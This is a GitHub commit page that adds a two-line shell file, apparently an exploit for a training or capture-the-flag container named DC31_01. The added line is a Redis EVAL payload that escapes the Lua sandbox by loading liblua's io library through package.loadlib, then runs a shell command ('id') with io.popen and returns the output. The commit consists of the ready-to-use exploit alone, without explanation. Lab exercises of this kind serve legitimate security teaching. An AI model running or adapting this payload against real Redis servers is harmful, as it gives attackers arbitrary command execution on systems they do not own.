Create dc31_01.sh

This commit is contained in:
Omar Santos 2023-10-19 15:30:07 -04:00 committed by GitHub
parent 3b51fcb37a
commit 25fc6ca94c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -0,0 +1,2 @@
# Exploit for the DC31_01 container
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0